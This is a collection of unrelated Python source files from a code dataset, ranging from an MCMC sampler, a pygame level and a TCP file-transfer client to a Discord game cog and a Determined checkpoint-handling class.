+{"seq_id":"374825341","text":"import numpy as np\n\nclass MetropolisHasting(object):\n def __init__(self, pt, T, sampler, log_flag = False):\n \"\"\"\n \n Params:\n -------\n pt : a functional, X -> R, the density (or probability) of the \n target distribution\n T : a transition kernel, X x X -> R, the conditional density (or probability) of \n the transition kernel\n sampler : a random sampler, X -> X, the markov transition sampler\n\n Output:\n -------\n mh : a class of simulator MCMC based on Metropolis Hasting algorithm\n\n \"\"\"\n \n self.pt = pt\n self.T = T\n self.log_flag = log_flag\n self.sampler = sampler\n \n def _log_alpha(self, x, z, pt = None, T = None, log_flag = None):\n \"\"\"\n \n Params:\n -------\n x : current value in the chain\n z : next state value in the chain\n pt : (log) target density or probability\n T : (log) transition density or probability\n log_flag : boolean\n to indicate if the density or probability is stored in log scale\n \n Output:\n -------\n alpha: the transition threshold according to (x, z)\n in log scale according\n \"\"\"\n if pt is None:\n pt = self.pt\n \n if T is None:\n T = self.T\n \n if log_flag is None:\n log_flag = self.log_flag\n\n if log_flag:\n return pt(z) + T(z, x) - pt(x) - T(x, z)\n else:\n return np.log(pt(z)) + np.log(T(z, x)) - np.log(pt(x)) - np.log(T(x, z))\n\n def simulate(self, x0, d, N = 100):\n \"\"\"\n \n Params:\n -------\n x0 : numerical value (array-like), shape (d, )\n the initial state, value of the MCMC chain\n d : the dimension of x0\n an integer value\n N : integer value\n the number of observations to be sampled in the MCMC chain\n \n Output:\n -------\n X : array-like\n the observations of the markov chain, the distribution should\n converge to target distribution pt\n \n \"\"\"\n X = np.zeros((N, d))\n X[0] = x0 # set the initial state of the chain to x0\n for i in range(1, N):\n X_prime = self.sampler(X[i-1])\n s = np.log(np.random.rand())\n threshold = self._log_alpha(X[i-1], X_prime)\n if s < threshold:\n X[i] = X_prime\n else:\n X[i] = X[i-1]\n \n return X\n","sub_path":"monte_carlo/metropolis_hasting.py","file_name":"metropolis_hasting.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"196826716","text":"import pygame\nfrom globaldefines import *\n\nfrom math import *\nimport random\nfrom BossLifeBar import *\n\nfrom Laser import *\nfrom Powerup import *\nfrom Collider import *\nfrom Textures import *\nfrom Upgrade import *\n\ndebug = False\n\nclass Station(pygame.sprite.Sprite) :\n def __init__(self, player, enemies, type, upgrades) :\n pygame.sprite.Sprite.__init__(self)\n\n self.dir = 1\n if randint(0, 10) < 5 :\n self.dir = -1\n if self.dir == 1 :\n self.pos = pygame.math.Vector2(-300, CENTERY+uniform(-150, 50))\n else :\n self.pos = pygame.math.Vector2(WIDTH+300, CENTERY+uniform(-150, 50))\n \n self.type = type\n self.player = player\n self.upgrades = upgrades\n self.enemies = enemies\n self.scale = 1\n self.collider = Collider(self, 60, pygame.math.Vector2(0, 0))\n self.health = 1500\n self.image = textures['STATION_' + type]\n self.rotatespeed = 0.05\n if randint(0, 10) < 5 :\n self.rotatespeed *= -1\n\n self.angle = 0\n self.vel = pygame.math.Vector2(1*self.dir, 0)\n def update(self, dt, enemies, lasers, player) :\n \n if self.pos.x > WIDTH + 300 :\n enemies.remove(self)\n return\n\n self.angle += self.rotatespeed\n self.pos += self.vel\n\n # check collisions\n for laser in lasers :\n collider = laser.collider\n if laser.owner.type == 'PLAYER' and self.collider.collides(collider) : #collision\n self.health -= laser.lifetime\n laser.destroy(lasers)\n if self.health <= 0 :\n for i in range(0, 20) :\n l = Laser(player, self.pos + (uniform(-100, 100), uniform(-100, 100)), 0, 0, randint(10, 50))\n lasers.append(l)\n l.destroy(lasers)\n enemies.remove(self)\n self.upgrades.append(Upgrade(self.pos, self.pos+(uniform(-200, 200), uniform(-50, 50)), self.type, enemies))\n\n #TODO GIVE UPGRADE TO PLAYER\n \n def render(self, window) :\n tex = pygame.transform.rotate(self.image, self.angle)\n window.blit(tex, self.pos-(tex.get_width() * 0.5, tex.get_height() * 0.5))\n if debug :\n self.collider.render(window)\n\n\nclass Asteroid(pygame.sprite.Sprite) :\n def __init__(self, boss, pos, player, enemies) :\n pygame.sprite.Sprite.__init__(self)\n self.pos = pos\n self.type = 'ASTEROID'\n self.boss = boss\n self.player = player\n self.enemies = enemies\n self.scale = uniform(0.8, 1.4)\n self.collider = Collider(self, 40*self.scale, pygame.math.Vector2(0, 0))\n self.forcefield = Collider(self, 40 * self.scale + 40, pygame.math.Vector2(0, 0))\n\n self.image = pygame.transform.rotozoom(textures['ASTEROID'][randint(0, 2)], 0, self.scale).convert_alpha()\n self.rotatespeed = uniform(-0.2, 0.2)\n self.angle = 0\n self.vel = pygame.math.Vector2(0, 2)\n self.acc = pygame.math.Vector2(0, 0)\n\n def update(self, dt, enemies, lasers, player) :\n \n if self.pos.y > HEIGHT + texturesOffsets['ASTEROID'].y * 2 :\n enemies.remove(self)\n return\n\n self.vel.x *= 0.9\n self.vel += self.acc\n self.pos += self.vel\n self.angle += self.rotatespeed\n\n self.acc.x = 0\n self.acc.y = 0\n\n if self.vel.y > 3 :\n self.vel.y = 3\n\n if self.vel.y < 1 :\n self.vel.y = 1\n\n for enemy in enemies :\n if not enemy.type == 'ASTEROID' or enemy == self :\n continue\n collider = self.forcefield\n if collider.collides(enemy.forcefield) :\n force = self.pos + texturesOffsets['ASTEROID'] - enemy.pos\n force.scale_to_length(0.05)\n self.acc += force\n\n if self.collider.collides(player.collider) :\n force = (self.pos) - (player.pos + texturesOffsets['PLAYER_SHIP'])\n force.scale_to_length(0.4)\n self.acc += force\n\n # check collisions\n for laser in lasers :\n collider = laser.collider\n if laser.owner.type == 'PLAYER' and self.collider.collides(collider) : #collision\n laser.destroy(lasers)\n force = self.pos + texturesOffsets['ASTEROID'] - laser.pos\n force.scale_to_length(0.1)\n self.acc += force\n \n def render(self, window) :\n tex = pygame.transform.rotate(self.image, self.angle)\n window.blit(tex, self.pos-(tex.get_width() * 0.5, tex.get_height() * 0.5))\n if debug :\n pass\n #self.forcefield.render(window)\n\nUPGRADE_TYPES = ['ECO', 'REACTOR', 'RANGE']\n\nclass Asteroids(pygame.sprite.Sprite):\n def __init__(self, lasers, powerups, player, enemies, upgrades) :\n pygame.sprite.Sprite.__init__(self)\n\n self.type = 'ASTEROIDS'\n\n self.pos = pygame.math.Vector2(CENTERX, 0)\n self.scale = 1\n\n self.colliders = []\n\n self.upgrades = upgrades\n self.lasers = lasers\n self.powerups = powerups\n self.player = player\n self.enemies = enemies\n self.time = 0\n self.lifeBar = BossLifeBar(self, FPS * 40)\n self.diff = 70\n self.segmented = False\n\n def give_powerup(self, target, type) :\n self.powerups.append(Powerup(self.pos, target, type))\n\n def update(self, dt) :\n self.time += 1\n self.lifeBar.life -= 1\n if self.lifeBar.life > FPS * 8 :\n if self.time % (self.diff) == 0:\n self.enemies.append(Asteroid(self, pygame.math.Vector2(uniform(0, WIDTH), -50), self.player, self.enemies))\n if self.time == FPS * 10 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[0], self.upgrades))\n if self.time == FPS * 20 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[1], self.upgrades))\n if self.time == FPS * 30 :\n self.enemies.append(Station(self.player, self.enemies, UPGRADE_TYPES[2], self.upgrades))\n if self.time % (FPS * 25) == 0 :\n self.diff = 60\n if self.time % (FPS * 8) == 0:\n self.give_powerup(pygame.math.Vector2(uniform(50, WIDTH-50), uniform(0, 100)), 'PU_HEALTH')\n elif self.lifeBar.life < FPS * 1:\n if not self.segmented : \n add_segment(\"Asteroid Fields\")\n self.segmented = True\n def render(self, window) :\n self.lifeBar.render(window)","sub_path":"src/Asteroids.py","file_name":"Asteroids.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"141031140","text":"import socket\nimport os\nimport argparse\nimport time\nimport json\nimport re\nimport subprocess\n\n#Argument Parser Section\nap =argparse.ArgumentParser()\nap.add_argument(\"-i\",\"--index\",help =\"index to the dictionary\")\nap.add_argument(\"-b\",\"--buffer\",help=\"buffer capacity\")\nap.add_argument(\"-r\",\"--result\",help=\"output result path\")\nargs = vars(ap.parse_args())\n\n#Variables\nIP_ADDRESS = socket.gethostname()\nPORT_NO = 12345\nPROTOCOL = 'TCP'\nINDEX = args['index'] \nBUFFER = int(args['buffer'])\nRESULT_PATH = args['result']\n\nstart_time = time.time()\nclient_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n# client_socket.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,True)\nclient_socket.connect((IP_ADDRESS,PORT_NO))\n\n\n# Sending the index of the required file to the server\nclient_socket.send(bytes(INDEX,'utf-16'))\nprint(f\"Index {INDEX} searching in the server\")\nbook_and_size = (client_socket.recv(100)).decode('utf-16')\nbook_and_size_list =re.split('(\\d+)',book_and_size)\nbook = book_and_size_list[0]\nbook_size = book_and_size_list[1] \nprint(f\"Found {book} with index {INDEX}\")\n\n# Opening the output file and creating the file name\npid = str(os.getpid())\noutput_path ='./received_files/'+book+'_'+PROTOCOL+'_'+pid+'.txt'\nwrite_file = open(output_path,'w')\nmessage = bytes('','utf-16')\nprint(f\"Started receiving the file\")\n\n\n\nwhile True:\n \n try:\n temp_message = client_socket.recv(BUFFER)\n # client_socket.setsockopt(socket.SOL_TCP,socket.TCP_QUICKACK,True)\n message += temp_message\n client_socket.settimeout(0.1)\n \n print(f\"Time elapsed: {time.time() - start_time}s\")\n \n except socket.timeout: \n \n write_file.write(message.decode('utf-16'))\n final_time = time.time() - start_time\n print(f\"it took {final_time}s to receive the file\")\n print(f\" {book} received completely using TCP protocol with {BUFFER} bytes buffer. Thanks server!\")\n size_of_file = os.path.getsize(output_path)\n through_put = size_of_file/final_time\n word_count = subprocess.check_output(f\"cat {output_path} | wc -w\",shell=True)\n word_count = (word_count.decode())[:-1]\n dictionary = {\"Book_Name\":book,\"Protocol\":PROTOCOL,\"PID\":pid,\"Buffer_Size\":BUFFER,\"Total_Time_Taken\":final_time,\"Original Size\":book_size,\"Size_of_the_file_created\":size_of_file,\"Throughput\":through_put,\"Word_Count\":word_count}\n \n with open(RESULT_PATH, 'r+') as f:\n if len(f.read()) == 0:\n f.write('['+json.dumps(dictionary))\n else:\n f.write(',\\n' + json.dumps(dictionary))\n\n \n client_socket.close()\n break\n \n\n\n \n \n ","sub_path":"Assignment 3/3G/3G_F/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"44588582","text":"from autocode import settings\nfrom autocode import utils\n\ndef render(prop):\n \"\"\" Render a single property. \"\"\"\n result = ['@%s' % prop.name]\n if prop.modifier != '':\n result.append(prop.modifier)\n if prop.ident != '':\n result.append(prop.ident)\n if prop.description != '':\n result.append(prop.description)\n return ' '.join(result)\n\ndef render_comment(props, description=None):\n \"\"\" Render properties in comment form.\n :param props: A list of Property objects that appear in the comment.\n :param description: The description to appear above the properties.\n \"\"\"\n if description is None and len(props) == 0:\n return utils.EMPTY_COMMENT\n\n useful_props = []\n # this block checks if there are any useful docs to render\n if settings.get_redundant_doctag_setting() is False:\n for prop in props:\n if prop.description != '' or prop.name not in utils.REDUNDANT_DOCTAGS:\n useful_props.append(prop)\n else:\n useful_props = props\n\n result = []\n if description != '' and description is not None:\n result.append(' * ' + description.replace(\"\\n\", \"\\n * \"))\n for prop in useful_props:\n result.append(' * ' + render(prop))\n\n result = \"\\n\".join(result)\n if result == '':\n return utils.EMPTY_COMMENT\n else:\n return result\n","sub_path":"renderers/php/propertyrenderer.py","file_name":"propertyrenderer.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"49525866","text":"from .base import base_model\nimport random\n\nclass random_model(base_model):\n \n\tdef forecast(self, parameters, training_set, forecast_horizon):\n\t\tgenerator = random.seed()\n\n\t\tresult = {}\n\t\tfor x in training_set:\n\t\t\tforecast_values = []\n\n\n\t\t\tmax_value = int(max(training_set[x]))\n\t\t\tmin_value = int(min(training_set[x]))\n\t\t\t\n\t\t\tfor y in range(0, forecast_horizon):\n\t\t\t\tforecast_values.append(random.randrange(min_value, max_value))\n\n\t\t\tresult[x] = forecast_values\n\n\t\treturn result\n\n\tdef get_name(self):\n\t\treturn 'Random model'","sub_path":"framework/forecasting/random_model.py","file_name":"random_model.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"225989061","text":"import FWCore.ParameterSet.Config as cms\n\nmin_pT_hat = 30.0 # CV: minimum threshold on pT_hat for QCD MC samples\n\nminbiasMCFilterSequence = cms.Sequence()\n\nak4SelGenJets = cms.EDFilter(\"CandViewSelector\",\n src = cms.InputTag('ak4GenJetsNoNu'),\n cut = cms.string(\"abs(eta) < 2.4 & pt > %2.1f\" % min_pT_hat),\n filter = cms.bool(False)\n)\nminbiasMCFilterSequence += ak4SelGenJets\n\nminbiasMCFilter = cms.EDFilter(\"MyCandViewCountFilter\",\n src = cms.InputTag('ak4SelGenJets'),\n maxNumber = cms.int32(2)\n)\nminbiasMCFilterSequence += minbiasMCFilter\n","sub_path":"python/minbiasMCFilter_cff.py","file_name":"minbiasMCFilter_cff.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"119129583","text":"from discord.ext import commands\nimport discord\nimport random\n\nclass Games(commands.Cog):\n truths = []\n dares = []\n wouldyourather = []\n\n def __init__(self, bot): \n self.bot = bot\n with open(\"res/truth.txt\", encoding=\"utf8\") as f:\n self.truths = f.read().splitlines()\n \n with open(\"res/dare.txt\", encoding=\"utf8\") as f:\n self.dares = f.read().splitlines()\n\n with open('res/wyr.txt', encoding=\"utf8\") as f:\n self.wouldyourather = f.read().splitlines()\n\n @commands.command()\n async def truth(self, ctx):\n \"\"\"\n Speak truth\n \"\"\"\n await ctx.send(str(self.truths[random.randint(0, len(self.truths))]).strip())\n\n @commands.command()\n async def dare(self, ctx):\n \"\"\"\n Do it, bitch\n \"\"\"\n await ctx.send(str(self.dares[random.randint(0, len(self.dares))]).strip())\n\n @commands.command()\n async def wyr(self, ctx):\n \"\"\"\n Answer me\n \"\"\"\n await ctx.send(str(self.wouldyourather[random.randint(0, len(self.wouldyourather))]).strip())\n\ndef setup(bot):\n bot.add_cog(Games(bot))\n\n","sub_path":"cogs/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"379241301","text":"\"\"\"\nThis program desmostrates \n\na. Changing format of displyed messages in log\n\nUse multiple LogRecord attributes to print more detailed message header containing information about \nprocess, thread, module, function from which messages is logged and other required data.\n\nExample message header we will implement :\n[:::::::line :User :Device ]\n \n\nb. Log from different function\n\nb. Log from a different user defined module.\n\n\n# Excpected Output \n\n$ cat catalina.log\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:INFO:CustomLogger:main:line 58:User test:Device att2-home3455] info message\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:WARNING:CustomLogger:main:line 59:User test:Device att2-home3455] warning message\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:DEBUG:CustomLogger:connectDevice:line 20:User test:Device att2-home3455] Connecting to\ndevice\n[01-22-2019 05:56:39 PM:MainProcess:MainThread:18948:DEBUG:data_collection:get_data:line 9:User test:Device att2-home3455] Starting data fetch operation on device\n\n\"\"\"\n\nimport logging\nfrom data_collection import *\n\ndef connectDevice(device, user, password):\n connection_data = {'user': user, 'device' : device}\n logging.debug(\"Connecting to device\", extra=connection_data)\n\n ### bla\n ### bla\n connection = \"bla..blaaa\"\n return connection\n\ndef main():\n\n \n # use a custom message header formatting specification\n #\n # Helpful LogRecord attributes (Refer https://docs.python.org/3.7/library/logging.html)\n #\n # To display the date and time of an event, you would place ‘%(asctime)s’ in your format string:\n # funcName : Name of function containing the logging call.\n # levelname : Text logging level for the message ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL').\n # message : The logged message, computed as msg % args. \n # process : Process ID (if available).\n # module : Module (name portion of filename).\n # processName : Process name (if available).\n # threadName : Thread name (if available).\n # thread : Thread ID (if available).\n\n user = \"test\"\n device = \"att2-home3455\"\n connection_data = {'user': user, 'device' : device}\n\n #log msg header\n # Example header :\n # [:::::::line :User :Device ]\n #\n measage_header= \"[%(asctime)s:%(processName)s:%(threadName)s:%(thread)d:%(levelname)s:%(module)s:\\\n%(funcName)s:line %(lineno)d:User %(user)s:Device %(device)s] %(message)s\"\n dateStr = \"%m-%d-%Y %I:%M:%S %p\"\n\n logging.basicConfig(filename=\"catalina.log\",\n level=logging.DEBUG,\n format=measage_header,\n datefmt=dateStr)\n\n logging.info(\"info message\", extra=connection_data)\n logging.warning(\"warning message\", extra=connection_data)\n \n connection = connectDevice(device, user, \"test\")\n get_data(connection, connection_data)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"modules/logging/message_header/CustomLogger.py","file_name":"CustomLogger.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"201949097","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('movie_website.search.views',\n # Examples:\n # url(r'^$', 'movie_website.views.home', name='home'),\n # url(r'^movie_website/', include('movie_website.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n #url(r'^admin/', include(admin.site.urls)),\n url(r'^$', 'index'),\n\turl(r'^findmovie/$', 'findmovie'),\n\turl(r'^findperson/$', 'findperson'),\n)\n","sub_path":"movie_website/search/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"193285648","text":"class find:\n\tdef finduniqueamongtwos(self, l):\n\t\t#for all even number of repeat\n\t\tones = 0\n\t\tfor n in l:\n\t\t\tones ^= n\n\t\treturn ones\n\n\tdef finduniqueamongthrees(self, l):\n\t\tones = 0\n\t\ttwos = 0\n\t\tnon_threes = 0\n\t\tfor n in l:\n\t\t\ttwos |= ones&n\n\t\t\tones ^= n\n\t\t\tnon_threes = ~(twos & ones)\n\t\t\ttwos &= non_threes\n\t\t\tones &= non_threes\n\t\treturn ones\n\n\nif __name__ == '__main__':\n\ta = [1,1,3,3,2,2,4]\n\tb = [1,1,1,3,2,3,3]\n\tcf = find()\n\tprint(cf.finduniqueamongtwos(a))\n\tprint(cf.finduniqueamongthrees(b))","sub_path":"findunique.py","file_name":"findunique.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"516991125","text":"import enum\nimport json\nimport pathlib\nimport shutil\nfrom typing import Any, Dict, List, Optional, cast\n\nfrom determined_common import api, constants, storage\nfrom determined_common.storage import shared\n\n\nclass ModelFramework(enum.Enum):\n PYTORCH = 1\n TENSORFLOW = 2\n\n\nclass CheckpointState(enum.Enum):\n UNSPECIFIED = 0\n ACTIVE = 1\n COMPLETED = 2\n ERROR = 3\n DELETED = 4\n\n\nclass Checkpoint(object):\n \"\"\"\n A ``Checkpoint`` represents a trained model.\n\n This class provides helper functionality for downloading checkpoints to\n local storage and loading checkpoints into memory.\n\n The :class:`~determined.experimental.TrialReference` class contains methods\n that return instances of this class.\n\n Arguments:\n uuid (string): UUID of the checkpoint.\n experiment_config (dict): The configuration of the experiment that\n created the checkpoint.\n experiment_id (int): The ID of the experiment that created the checkpoint.\n trial_id (int): The ID of the trial that created the checkpoint.\n hparams (dict): Hyperparameter values for the trial that created\n the checkpoint.\n batch_number (int): Batch number during training when the checkpoint was taken.\n start_time (string): Timestamp when the checkpoint began being saved to\n persistent storage.\n end_time (string): Timestamp when the checkpoint completed being saved to\n persistent storage.\n resources (dict): Dictionary of file paths to file sizes (in bytes) of all\n files in the checkpoint.\n validation (dict): Dictionary of validation metric names to their values.\n framework (string, optional): The framework of the trial i.e., tensorflow, torch.\n format (string, optional): The format of the checkpoint i.e., h5, saved_model, pickle.\n determined_version (str, optional): The version of Determined the\n checkpoint was taken with.\n metadata (dict, optional): User defined metadata associated with the checkpoint.\n master (string, optional): The address of the Determined master instance.\n \"\"\"\n\n def __init__(\n self,\n uuid: str,\n experiment_config: Dict[str, Any],\n experiment_id: int,\n trial_id: int,\n hparams: Dict[str, Any],\n batch_number: int,\n start_time: str,\n end_time: str,\n resources: Dict[str, Any],\n validation: Dict[str, Any],\n metadata: Dict[str, Any],\n determined_version: Optional[str] = None,\n framework: Optional[str] = None,\n format: Optional[str] = None,\n model_version: Optional[int] = None,\n model_name: Optional[str] = None,\n master: Optional[str] = None,\n ):\n self.uuid = uuid\n self.experiment_config = experiment_config\n self.experiment_id = experiment_id\n self.trial_id = trial_id\n self.hparams = hparams\n self.batch_number = batch_number\n self.start_time = start_time\n self.end_time = end_time\n self.resources = resources\n self.validation = validation\n self.framework = framework\n self.format = format\n self.determined_version = determined_version\n self.model_version = model_version\n self.model_name = model_name\n self.metadata = metadata\n self._master = master\n\n def _find_shared_fs_path(self) -> pathlib.Path:\n \"\"\"Attempt to find the path of the checkpoint if being configured to shared fs.\n This function assumes the host path of the shared fs exists.\n \"\"\"\n host_path = self.experiment_config[\"checkpoint_storage\"][\"host_path\"]\n storage_path = self.experiment_config[\"checkpoint_storage\"].get(\"storage_path\")\n potential_paths = [\n pathlib.Path(shared._full_storage_path(host_path, storage_path), self.uuid),\n pathlib.Path(\n shared._full_storage_path(\n host_path, storage_path, constants.SHARED_FS_CONTAINER_PATH\n ),\n self.uuid,\n ),\n ]\n\n for path in potential_paths:\n if path.exists():\n return path\n\n raise FileNotFoundError(\n \"Checkpoint {} not found in {}. This error could be caused by not having \"\n \"the same shared file system mounted on the local machine as the experiment \"\n \"checkpoint storage configuration.\".format(self.uuid, potential_paths)\n )\n\n def download(self, path: Optional[str] = None) -> str:\n \"\"\"\n Download checkpoint to local storage.\n\n Arguments:\n path (string, optional): Top level directory to place the\n checkpoint under. If this parameter is not set, the checkpoint will\n be downloaded to ``checkpoints/`` relative to the\n current working directory.\n \"\"\"\n if path is not None:\n local_ckpt_dir = pathlib.Path(path)\n else:\n local_ckpt_dir = pathlib.Path(\"checkpoints\", self.uuid)\n\n # Backward compatibility: we used MLflow's MLmodel checkpoint format for\n # serializing pytorch models. We now use our own format that contains a\n # metadata.json file. We are checking for checkpoint existence by\n # looking for both checkpoint formats in the output directory.\n potential_metadata_paths = [\n local_ckpt_dir.joinpath(f) for f in [\"metadata.json\", \"MLmodel\"]\n ]\n if not any(p.exists() for p in potential_metadata_paths):\n # If the target directory doesn't already appear to contain a\n # checkpoint, attempt to fetch one.\n if self.experiment_config[\"checkpoint_storage\"][\"type\"] == \"shared_fs\":\n src_ckpt_dir = self._find_shared_fs_path()\n shutil.copytree(str(src_ckpt_dir), str(local_ckpt_dir))\n else:\n local_ckpt_dir.mkdir(parents=True, exist_ok=True)\n manager = storage.build(\n self.experiment_config[\"checkpoint_storage\"],\n container_path=None,\n )\n if not isinstance(manager, (storage.S3StorageManager, storage.GCSStorageManager)):\n raise AssertionError(\n \"Downloading from S3 or GCS requires the experiment to be configured with \"\n \"S3 or GCS checkpointing, {} found instead\".format(\n self.experiment_config[\"checkpoint_storage\"][\"type\"]\n )\n )\n\n metadata = storage.StorageMetadata.from_json(\n {\"uuid\": self.uuid, \"resources\": self.resources}\n )\n manager.download(metadata, str(local_ckpt_dir))\n\n if not local_ckpt_dir.joinpath(\"metadata.json\").exists():\n with open(local_ckpt_dir.joinpath(\"metadata.json\"), \"w\") as f:\n json.dump(\n {\n \"determined_version\": self.determined_version,\n \"framework\": self.framework,\n \"format\": self.format,\n \"experiment_id\": self.experiment_id,\n \"trial_id\": self.trial_id,\n \"hparams\": self.hparams,\n \"experiment_config\": self.experiment_config,\n \"metadata\": self.metadata,\n },\n f,\n indent=2,\n )\n\n return str(local_ckpt_dir)\n\n def load(\n self, path: Optional[str] = None, tags: Optional[List[str]] = None, **kwargs: Any\n ) -> Any:\n \"\"\"\n Loads a Determined checkpoint into memory. If the checkpoint is not\n present on disk it will be downloaded from persistent storage.\n\n Arguments:\n path (string, optional): Top level directory to load the\n checkpoint from. (default: ``checkpoints/``)\n tags (list string, optional): Only relevant for TensorFlow\n SavedModel checkpoints. Specifies which tags are loaded from\n the TensorFlow SavedModel. See documentation for\n `tf.compat.v1.saved_model.load_v2\n `_.\n kwargs: Only relevant for PyTorch checkpoints. The keyword arguments\n will be applied to ``torch.load``. See documentation for `torch.load\n `_.\n \"\"\"\n ckpt_path = self.download(path)\n return Checkpoint.load_from_path(ckpt_path, tags=tags, **kwargs)\n\n def add_metadata(self, metadata: Dict[str, Any]) -> None:\n \"\"\"\n Adds user-defined metadata to the checkpoint. The ``metadata`` argument must be a\n JSON-serializable dictionary. If any keys from this dictionary already appear in\n the checkpoint metadata, the corresponding dictionary entries in the checkpoint are\n replaced by the passed-in dictionary values.\n\n Arguments:\n metadata (dict): Dictionary of metadata to add to the checkpoint.\n \"\"\"\n for key, val in metadata.items():\n self.metadata[key] = val\n\n if self._master:\n api.post(\n self._master,\n \"/api/v1/checkpoints/{}/metadata\".format(self.uuid),\n body={\"checkpoint\": {\"metadata\": self.metadata}},\n )\n\n def remove_metadata(self, keys: List[str]) -> None:\n \"\"\"\n Removes user-defined metadata from the checkpoint. Any top-level keys that\n appear in the ``keys`` list are removed from the checkpoint.\n\n Arguments:\n keys (List[string]): Top-level keys to remove from the checkpoint metadata.\n \"\"\"\n\n for key in keys:\n if key in self.metadata:\n del self.metadata[key]\n\n if self._master:\n api.post(\n self._master,\n \"/api/v1/checkpoints/{}/metadata\".format(self.uuid),\n body={\"checkpoint\": {\"metadata\": self.metadata}},\n )\n\n @staticmethod\n def load_from_path(path: str, tags: Optional[List[str]] = None, **kwargs: Any) -> Any:\n \"\"\"\n Loads a Determined checkpoint from a local file system path into\n memory. If the checkpoint is a PyTorch model, a ``torch.nn.Module`` is returned.\n If the checkpoint contains a TensorFlow SavedModel, a TensorFlow\n autotrackable object is returned.\n\n Arguments:\n path (string): Local path to the checkpoint directory.\n tags (list string, optional): Only relevant for TensorFlow\n SavedModel checkpoints. Specifies which tags are loaded from\n the TensorFlow SavedModel. See documentation for\n `tf.compat.v1.saved_model.load_v2\n `_.\n \"\"\"\n checkpoint_dir = pathlib.Path(path)\n metadata = Checkpoint.parse_metadata(checkpoint_dir)\n checkpoint_type = Checkpoint.get_type(metadata)\n\n if checkpoint_type == ModelFramework.PYTORCH:\n import determined_common.experimental.checkpoint._torch\n\n return determined_common.experimental.checkpoint._torch.load_model(\n checkpoint_dir, metadata, **kwargs\n )\n\n elif checkpoint_type == ModelFramework.TENSORFLOW:\n import determined_common.experimental.checkpoint._tf\n\n return determined_common.experimental.checkpoint._tf.load_model(\n checkpoint_dir, metadata, tags=tags\n )\n\n raise AssertionError(\"Unknown checkpoint format at {}\".format(checkpoint_dir))\n\n @staticmethod\n def parse_metadata(directory: pathlib.Path) -> Dict[str, Any]:\n metadata_path = directory.joinpath(\"metadata.json\")\n with metadata_path.open() as f:\n metadata = json.load(f)\n\n return cast(Dict[str, Any], metadata)\n\n @staticmethod\n def get_type(metadata: Dict[str, Any]) -> ModelFramework:\n if \"framework\" in metadata:\n if metadata[\"framework\"].startswith(\"torch\"):\n return ModelFramework.PYTORCH\n\n if metadata[\"framework\"].startswith(\"tensorflow\"):\n return ModelFramework.TENSORFLOW\n\n # Older metadata layout contained torch_version and tensorflow_version\n # as keys. Eventually, we should drop support for the older format.\n if \"torch_version\" in metadata:\n return ModelFramework.PYTORCH\n\n elif \"tensorflow_version\" in metadata:\n return ModelFramework.TENSORFLOW\n\n raise AssertionError(\"Unknown checkpoint format\")\n\n def __repr__(self) -> str:\n if self.model_name is not None:\n return \"Checkpoint(uuid={}, trial_id={}, model={}, version={})\".format(\n self.uuid, self.trial_id, self.model_name, self.model_version\n )\n return \"Checkpoint(uuid={}, trial_id={})\".format(self.uuid, self.trial_id)\n\n @staticmethod\n def from_json(data: Dict[str, Any], master: Optional[str] = None) -> \"Checkpoint\":\n validation = {\n \"metrics\": data.get(\"metrics\", {}),\n \"state\": data.get(\"validation_state\", None),\n }\n\n return Checkpoint(\n data[\"uuid\"],\n data.get(\"experiment_config\", data.get(\"experimentConfig\")),\n data.get(\"experiment_id\", data.get(\"experimentId\")),\n data.get(\"trial_id\", data.get(\"trialId\")),\n data[\"hparams\"],\n data.get(\"batch_number\", data.get(\"batchNumber\")),\n data.get(\"start_time\", data.get(\"startTime\")),\n data.get(\"end_time\", data.get(\"endTime\")),\n data[\"resources\"],\n validation,\n data.get(\"metadata\", {}),\n framework=data.get(\"framework\"),\n format=data.get(\"format\"),\n determined_version=data.get(\"determined_version\", data.get(\"determinedVersion\")),\n model_version=data.get(\"model_version\"),\n model_name=data.get(\"model_name\"),\n master=master,\n )\n","sub_path":"common/determined_common/experimental/checkpoint/_checkpoint.py","file_name":"_checkpoint.py","file_ext":"py","file_size_in_byte":14385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
